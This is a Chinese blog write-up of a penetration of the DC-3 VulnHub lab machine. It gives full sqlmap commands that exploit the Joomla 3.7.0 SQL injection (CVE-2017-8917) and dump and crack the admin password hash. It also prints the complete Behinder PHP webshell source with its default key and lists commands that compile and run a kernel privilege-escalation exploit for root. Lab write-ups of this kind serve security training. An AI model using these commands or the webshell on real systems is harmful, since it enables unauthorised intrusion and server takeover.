DC3靶场渗透流程(超详细)

已于 2023-04-20 12:46:06 修改
阅读量940 收藏 3
点赞数
分类专栏： DC靶场系列 文章标签： 网络安全 安全 web安全 linux ubuntu
于 2023-04-04 10:45:00 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_64583632/article/details/129947093
版权

靶机页面

信息收集

  • 获取DC3的IP地址

    通过查看到DC3的MAC地址为00:0C:29:FB:5D:EA，然后用nmap扫描我本机网段内存活的主机，发现DC3的MAC地址对应的IP为192.168.175.157

  • 靶机的网站页面

  • 扫描DC3开启的端口

    ┌──(kali💋kali)-[~]
└─$ sudo nmap -Pn -A -p- -sS -sC -T4 192.168.175.157
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2023-04-02 22:09 EDT
Nmap scan report for 192.168.175.157
Host is up (0.0011s latency).
Not shown: 65534 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Home
MAC Address: 00:0C:29:FB:5D:EA (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
​
TRACEROUTE
HOP RTT     ADDRESS
1   1.08 ms 192.168.175.157
​
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.85 seconds
    端口状态服务版本
    80openhttpApache httpd 2.4.18 ((Ubuntu))

  • web应用指纹信息

  • nikto报告

    ┌──(kali💋kali)-[~]
└─$ nikto -host http://192.168.175.157
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.175.157
+ Target Hostname:    192.168.175.157
+ Target Port:        80
+ Start Time:         2023-04-02 22:12:54 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ IP address found in the 'location' header. The IP is "127.0.1.1".
+ OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "127.0.1.1".
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspx for details.
+ OSVDB-8193: /index.php?module=ew_filemanager&type=admin&func=manager&pathext=../../../etc: EW FileManager for PostNuke allows arbitrary file retrieval.
+ OSVDB-3092: /administrator/: This might be interesting...
+ OSVDB-3092: /bin/: This might be interesting...
+ OSVDB-3092: /includes/: This might be interesting...
+ OSVDB-3092: /tmp/: This might be interesting...
+ OSVDB-3092: /LICENSE.txt: License file found may identify site software.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /htaccess.txt: Default Joomla! htaccess.txt file found. This should be removed or renamed.
+ /administrator/index.php: Admin login page/section found.
+ 8726 requests: 0 error(s) and 17 item(s) reported on remote host
+ End Time:           2023-04-02 22:14:07 (GMT-4) (73 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
    OSLinux 3.X
    ServiceApache/2.4.18 (Ubuntu)
    X-Powered-ByPHP
    CMSJoomla 3.7.0

  • joomscan扫描报告

        ____  _____  _____  __  __  ___   ___    __    _  _ 
   (_  _)(  _  )(  _  )(  \/  )/ __) / __)  /__\  ( \( )
  .-_)(   )(_)(  )(_)(  )    ( \__ \( (__  /(__)\  )  ( 
  \____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_)
                        (1337.today)
   
    --=[OWASP JoomScan
    +---++---==[Version : 0.0.7
    +---++---==[Update Date : [2018/09/23]
    +---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo
    --=[Code name : Self Challenge
    @OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP
​
Processing http://192.168.175.157 ...
​
​
[+] FireWall Detector
[++] Firewall not detected
​
[+] Detecting Joomla Version
[++] Joomla 3.7.0
​
[+] Core Joomla Vulnerability
[++] Target Joomla core is not vulnerable
​
[+] Checking Directory Listing
[++] directory has directory listing : 
http://192.168.175.157/administrator/components
http://192.168.175.157/administrator/modules
http://192.168.175.157/administrator/templates                                                                                   
http://192.168.175.157/images/banners                                                                                                                                                                                         
[+] Checking apache info/status files                                                                                            
[++] Readable info/status files are not found                                                                                                                                                                            
[+] admin finder                                                                                                                 
[++] Admin page : http://192.168.175.157/administrator/                                                                                                                                                                                
[+] Checking robots.txt existing                                                                                                 
[++] robots.txt is not found                                                                                                                                                               
[+] Finding common backup files name                                                                                             
[++] Backup files are not found                                                                                                                                                                            
[+] Finding common log files name                                                                                                
[++] error log is not found                                                                                                                                                                                              
[+] Checking sensitive config.php.x file                                                                                         
[++] Readable config files are not found                                                                                                                                                                                         
Your Report : reports/192.168.175.157/               

  • 漏洞扫描报告

渗透过程

  • 漏洞利用

    Joomla! Core 3.7.0 SQL Injection (3.7.0 - 3.7.0)（CVE-2017-8917）

    使用工具searchsploit 搜Joomla 的版本号即可

    searchsploit -x php/webapps/42033.txt

    发现可以使用sqlmap

    Using Sqlmap: 
sqlmap -u "http://192.168.175.157/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

    爆出了五个数据库，其中有joomladb这个数据库，猜想到后台账户名和密码可能在里面

    available databases [5]:
[*] information_schema
[*] joomladb
[*] mysql
[*] performance_schema
[*] sys

    爆表

    sqlmap -u "http://192.168.175.157/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent  -p list[fullordering] -D "joomladb" --tables --batch
​
Database: joomladb
[76 tables]
+---------------------+
| #__assets           |
| #__associations     |
| #__banner_clients   |
| #__banner_tracks    |
| #__banners          |
| #__bsms_admin       |
| #__bsms_books       |
| #__bsms_comments    |
| #__bsms_locations   |
| #__bsms_mediafiles  |
| #__bsms_message_typ |
| #__bsms_podcast     |
| #__bsms_series      |
| #__bsms_servers     |
| #__bsms_studies     |
| #__bsms_studytopics |
| #__bsms_teachers    |
| #__bsms_templatecod |
| #__bsms_templates   |
| #__bsms_timeset     |
| #__bsms_topics      |
| #__bsms_update      |
| #__categories       |
| #__contact_details  |
| #__content_frontpag |
| #__content_rating   |
| #__content_types    |
| #__content          |
| #__contentitem_tag_ |
| #__core_log_searche |
| #__extensions       |
| #__fields_categorie |
| #__fields_groups    |
| #__fields_values    |
| #__fields           |
| #__finder_filters   |
| #__finder_links_ter |
| #__finder_links     |
| #__finder_taxonomy_ |
| #__finder_taxonomy  |
| #__finder_terms_com |
| #__finder_terms     |
| #__finder_tokens_ag |
| #__finder_tokens    |
| #__finder_types     |
| #__jbsbackup_timese |
| #__jbspodcast_times |
| #__languages        |
| #__menu_types       |
| #__menu             |
| #__messages_cfg     |
| #__messages         |
| #__modules_menu     |
| #__modules          |
| #__newsfeeds        |
| #__overrider        |
| #__postinstall_mess |
| #__redirect_links   |
| #__schemas          |
| #__session          |
| #__tags             |
| #__template_styles  |
| #__ucm_base         |
| #__ucm_content      |
| #__ucm_history      |
| #__update_sites_ext |
| #__update_sites     |
| #__updates          |
| #__user_keys        |
| #__user_notes       |
| #__user_profiles    |
| #__user_usergroup_m |
| #__usergroups       |
| #__users            |
| #__utf8_conversion  |
| #__viewlevels       |
+---------------------+

    发现有个#_users的表，然后接着爆这个表里面的列

    sqlmap -u "http://192.168.175.157/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb"  -T "#__users" --columns  -p list[fullordering]

    查看username和password的内容

    sqlmap -u "http://192.168.175.157/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D 'joomladb'  -T '#__users' -C "username,password" --dump  -p list[fullordering]


Database: joomladb
Table: #__users
[1 entry]
+----------+--------------------------------------------------------------+
| username | password                                                     |
+----------+--------------------------------------------------------------+
| admin    | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu |
+----------+--------------------------------------------------------------+

    账户名是admin,密码是hash值为$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

  • HASH值爆破

    这里用到一个离线密码爆破工具john，把账户名和密码写进一个txt文件里，然后直接爆破

    john --show dc3.txt

    账户名为admin，密码为snoopy

  • 后台登录

    后台地址

    http://192.168.175.157/administrator/

  • Getshell

    在网站页面发现Templates(模板)的Templates里可以自己创建php文件。

    把冰蝎的后门代码复制上去，用冰蝎连接

    <?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond
	$_SESSION['k']=$key;
	session_write_close();
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

    这里提示一下写进去的webshell该怎么样去访问，提示了/html/webshell.php在template "beez3"里，所以写进去的webshell的路径为：

    templates/beez3/html/webshell.php

    冰蝎连接成功

    这里用冰蝎和MSF联动，反弹shell到MSF里方便提权

  • 提权

    id查看发现是普通用户接下来提权

    • 提权方法（内核提权）

      先上传一个辅助脚本linux-exploit-suggester.sh到tmp目录来收集存在的漏洞

      接下来在MSF进行的操作

      cd /tmp
chmod +x linux-exploit-suggester.sh   #给这个文件赋权限
./linux-exploit-suggester.sh          #执行该文件

      收集已存在的漏洞和系统信息，还发现它的操作系统是ubuntu 16.04

      Available information:
Kernel version: 4.4.0
Architecture: i686
Distribution: ubuntu
Distribution version: 16.04
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OS

Searching among:
71 kernel space exploits
41 user space exploits

Possible Exploits:
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe
cat: write error: Broken pipe

[+] [CVE-2016-5195] dirtycow 2
   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
   Exposure: highly probable
   Tags: debian=7|8,RHEL=5|6|7,ubuntu=14.04|12.04,ubuntu=16.04{kernel:2.6.32-21-generic},[ ubuntu=16.04{kernel:4.4.0-21-generic} ]                                                                                                                                
   Download URL: https://www.exploit-db.com/download/40839
   ext-url: https://www.exploit-db.com/download/40847.cpp
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2017-16995] eBPF_verifier
   Details: https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html
   Exposure: highly probable
   Tags: debian=9.0{kernel:4.9.0-3-amd64},fedora=25|26|27,ubuntu=14.04{kernel:4.4.0-89-generic},[ ubuntu=(16.04|17.04) ]{kernel:4.(8|10).0-(19|28|45)-generic}
   Download URL: https://www.exploit-db.com/download/45010
   Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1

[+] [CVE-2016-8655] chocobo_root
   Details: http://www.openwall.com/lists/oss-security/2016/12/06/1
   Exposure: highly probable
   Tags: [ ubuntu=(14.04|16.04){kernel:4.4.0-(21|22|24|28|31|34|36|38|42|43|45|47|51)-generic} ]
   Download URL: https://www.exploit-db.com/download/40871
   Comments: CAP_NET_RAW capability is needed OR CONFIG_USER_NS=y needs to be enabled

[+] [CVE-2016-5195] dirtycow
   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
   Exposure: highly probable
   Tags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},[ ubuntu=16.04|14.04|12.04 ]
   Download URL: https://www.exploit-db.com/download/40611
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2016-4557] double-fdput()
   Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=808
   Exposure: highly probable
   Tags: [ ubuntu=16.04{kernel:4.4.0-(21|38|42|98|140)-generic} ]
   Download URL: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/39772.zip
   Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1

[+] [CVE-2017-7308] af_packet
   Details: https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html
   Exposure: probable
   Tags: [ ubuntu=16.04 ]{kernel:4.8.0-(34|36|39|41|42|44|45)-generic}
   Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-7308/poc.c
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/cve-2017-7308/CVE-2017-7308/poc.c
   Comments: CAP_NET_RAW cap or CONFIG_USER_NS=y needed. Modified version at 'ext-url' adds support for additional kernels

[+] [CVE-2017-6074] dccp
   Details: http://www.openwall.com/lists/oss-security/2017/02/22/3
   Exposure: probable
   Tags: [ ubuntu=(14.04|16.04) ]{kernel:4.4.0-62-generic}
   Download URL: https://www.exploit-db.com/download/41458
   Comments: Requires Kernel be built with CONFIG_IP_DCCP enabled. Includes partial SMEP/SMAP bypass

[+] [CVE-2017-1000112] NETIF_F_UFO
   Details: http://www.openwall.com/lists/oss-security/2017/08/13/1
   Exposure: probable
   Tags: ubuntu=14.04{kernel:4.4.0-*},[ ubuntu=16.04 ]{kernel:4.8.0-*}
   Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-1000112/poc.c
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/cve-2017-1000112/CVE-2017-1000112/poc.c
   Comments: CAP_NET_ADMIN cap or CONFIG_USER_NS=y needed. SMEP/KASLR bypass included. Modified version at 'ext-url' adds support for additional distros/kernels

[+] [CVE-2016-9793] SO_{SND|RCV}BUFFORCE
   Details: https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793
   Exposure: less probable
   Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2016-9793/poc.c
   Comments: CAP_NET_ADMIN caps OR CONFIG_USER_NS=y needed. No SMEP/SMAP/KASLR bypass included. Tested in QEMU only

[+] [CVE-2016-2384] usb-midi
   Details: https://xairy.github.io/blog/2016/cve-2016-2384
   Exposure: less probable
   Tags: ubuntu=14.04,fedora=22
   Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2016-2384/poc.c
   Comments: Requires ability to plug in a malicious USB device and to execute a malicious binary as a non-privileged user

[+] [CVE-2016-0728] keyring
   Details: http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/
   Exposure: less probable
   Download URL: https://www.exploit-db.com/download/40003
   Comments: Exploit takes about ~30 minutes to run. Exploit is not reliable, see: https://cyseclabs.com/blog/cve-2016-0728-poc-not-working

      接着找找漏洞利用脚本，用的最多的就是linux/local/39772.txt，但这里推荐去这里下载攻击压缩包

      接下来上传下载的攻击压缩包

      解压和执行命令，一系列操作后即可

      unzip 39772.zip
cd 39772
tar xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
chmod +x compile.sh
./compile.sh
chmod +x doubleput
./doubleput

      最后显示提权成功

      writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.

      查看id为root权限

  • 查看flag

tacokings
关注
  • 0
    点赞
  • 踩
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
DC3 是基于 Spring Cloud 的开源可分布式物联网 (IOT) 平台
05-03
功能设计，定位目标 可伸缩：水平可伸缩的平台,构建使用领先的 Spring Cloud 开源技术； 容错：没有单点故障弱,集群中的每个节点是相同的； 健壮和高效：单一服务器节点可以处理甚至数百成千上万的设备根据用例； 可定制：添加新的设备协议,并注册到服务中心； 跨平台：使用 Java 环境可异地、分布式多平台部署； 自主可控：私有云、公有云、边缘部署； 完善性：设备快速接入、注册、权限校验； 安全(开发中...)：数据加密传输（mqtt 驱动已实现数据加密传输）； 多租户：命名空间，多租户化； 云原生：Kubernetes； 容器化：Docker。
iot-dc3:IOT DC3是基于Spring Cloud的开源分布式物联网（IOT）平台。 它用于物联网项目的快速开发和物联网设备的管理。 是物联网系统的一套解决方案
04-29
:rocket: 项目文档请阅读 ！ :collision: 你的 Star 是我开发的动力，下载源码 git clone https://gitee.com/pnoker/iot-dc3.git ！ :seedling: 为了便于你的二次开发和理解，DC3 开源了 Demo Web UI ， DC3是基于Spring Cloud的开源可分布式物联网(IOT)平台,用于快速开发、部署物联设备接入项目,是一整套物联系统解决方案。IOT DC3 is an open source, distributed Internet of Things (IOT) platform based on Spring Cloud. It is used for rapid development of IOT projects and management of IOT devices. It is a set of solutions for IOT
Vulnhub 靶机实战系列 DC-3靶机
最新发布
rumil的博客
04-15 633
发现网站管理后台等信息，结合浏览器插件发现使用joomla CMS，使用kali当中jooscn工具进行扫描，如果没有安装即可。点击新建文件即可，在html/处新建php文件，也可上传，但是不一定成功，可以创建文件后将代码复制进去。根据前面信息收集到的内容，采用得CMS和版本信息，进行漏洞搜索，是否有可利用的漏洞。根据漏洞信息，进行漏洞利用，查看一下文件内容，尝试利用,sqlmap爆数据库。找上传点，或者可以查看代码或可执行代码的地方，找到扩展处功能处，尝试。发现有at，可以尝试提权，但是未果。
IoT DC3 是一个基于 Spring Cloud 的开源的、分布式的物联网(IoT)平台
05-16
IoT DC3 是一个基于 Spring Cloud 的开源的、分布式的物联网(IoT)平台，用于快速开发物联网项目和管理物联设备，是一整套物联系统解决方案。
DC3
03-18
DC3
DC3算法生成后缀数组详解
明朗晨光的专栏
04-10 675
何为后缀数组；基数排序；使用DC3算法生成后缀数组
靶机DC-3—WP
m0_66638011的博客
05-17 1042
DC系列靶机是一系列专门为渗透测试和网络安全实验室设计的虚拟机器。这些靶机提供了一系列不同的漏洞和攻击场景，使渗透测试者可以在这些环境下测试自的技能和工具。DC系列靶机包含多个不同的主题，例如各种操作系统的漏洞，Web应用程序安全和无线网络安全等。它们对初学者和专业人士都有很大的价值，因为它们可以帮助他们了解安全漏洞和如何利用它们进行渗透测试。
dc-3 靶机渗透学习
..
03-17 3446
靶机修复 dc-3靶机可能会存在扫不到靶机ip的问题，可以参考下面这篇博客解决，编辑网卡配置文件时命令有点错误。 vim /etc/network/interfacers 改成 vim /etc/network/interfaces Vulnhub靶机检测不到IP地址_阿帅start的博客-CSDN博客_靶机没有ip 信息收集 使用nmap对当前网段进行扫描 nmap -sP 192.168.202.0/24 在排除kali攻击机和物理机ip后，对192.168.2...
DC-3靶场实战详解
a310034188的博客
01-26 8909
环境安装 前面安装了老版本的DC-3几次,nmap都扫描不到机器，后来琢磨了很久也找不到问题，然后我去官网重新下载了个就没问题了 官网地址：https://www.vulnhub.com/entry/dc-32,312/ KALI和DC-3都用NAT模式. DC-3需要多修改一些东西 把IDE里面的改成IDE 0:0 都完成后开启KALI与DC-3 寻找FLAG 信息收集 1.首先确认kali与DC-3所在网段 ip add 确认kali与DC-3所在网段为192.168.79.0/2
【技术分享】实战dc-3靶场及其技巧讲解
军火库
07-22 276
本期技术文章将与大家分享小星实战“dc-3靶场”的经验，通过分析其渗透过程以及不同的getshell方法，与大家共同探讨该靶场的破解技巧。
DC-3靶场搭建及渗透实战详细过程（DC靶场系列）
金 帛的博客
07-27 4871
DC-3靶场渗透过程
Vulnhub靶机渗透测试 DC-3靶机
12-07
Vulnhub靶机渗透测试 DC-3靶机
VulnHub渗透测试靶场- DC-8
11-21
DC-8 是另一个专门建造的易受攻击的实验室，旨在获得渗透测试领域的经验。 这个挑战有点像实际挑战和“概念验证”，即在 Linux 上安装和配置的双因素身份验证是否可以防止 Linux 服务器被利用。 此挑战的“概念...
VulnHub 渗透测试靶场 -DC-9
11-21
DC-9 是另一个专门建造的易受攻击的实验室，旨在获得渗透测试领域的经验。 这一挑战的最终目标是扎根并读取唯一的标志。 Linux 技能和熟悉 Linux 命令行是必须的，还有一些基本渗透测试工具的经验。 对于初学者来...
DC-3超声操作手册
03-25
DC-3超声操作手册 DC-3/DC-3T Diagnostic Ultrasound System Operator’s Manual
Vulnhub靶机渗透测试 DC-8靶机
12-07
Vulnhub靶机渗透测试 DC-8靶机
DC3详解
热门推荐
学习！冲冲冲！
12-21 2万+
DC-3靶机 1.确定靶机IP arp-scan -l masscan --rate=10000 -p 1-65535 192.168.220.133 nmap -p80 -sV -A -T4 192.168.220.133 2.收集信息 根据nmap的扫描结果可以发现其CMS为joomla，采用joomla扫描器joomscan进行扫描 joomscan -u http://192.168.220.133 发现登录页面http://192.168.220.133/administrat
使用Nikto扫描网站漏洞
CHK的博客
03-16 8782
Nikto简介 Nikto是一个简单的开源Web服务器扫描程序，可以检查网站并报告它发现的可能用于利用或破解网站的漏洞。此外，它是业界使用最广泛的网站漏洞工具之一，并且在许多圈子中被认为是行业标准。 虽然这个工具非常有效，但它根本不是隐秘的。任何具有入侵检测系统或其他安全措施的站点都将检测到它正在被扫描。最初设计只是用于安全测试，并不在意隐形问题。 【Nikto-百度百科】 Nikto...
DC系列：3（DC-3靶机，初级渗透详细教程）
jrdh的博客
11-30 1419
DC-3靶机渗透环境搭建详情描述使用工具一：信息收集0x01 查看存活主机0x02查看开放端口0x03 查看端口服务0x04 下载joomscan0x05查看joomscan版本信息二：漏洞发现查看版本漏洞漏洞利用方法一：sql注入查库名查表名查列名查找字段信息方法二：使用joomblah脚本下载 joomblah.py 脚本执行joomblah获得密码密文破解加密0x01 保存密文文件0x02 识别hash类型并破解0x03 写入一句话木马0x04 蚁剑直连0x05 反弹shell四：提权0x01 查看版
DC-5靶场渗透过程中,怎样挂载木马文件
06-02
在 DC-5 靶场渗透过程中，如果要挂载木马文件，可以按照以下步骤进行操作： 1. 找到可写入的目录：可以使用 `ls -al` 命令查看目录权限，找到可写入的目录。通常会有一些临时目录或者上传目录是可写入的。 2. 上传...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

tacokings

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值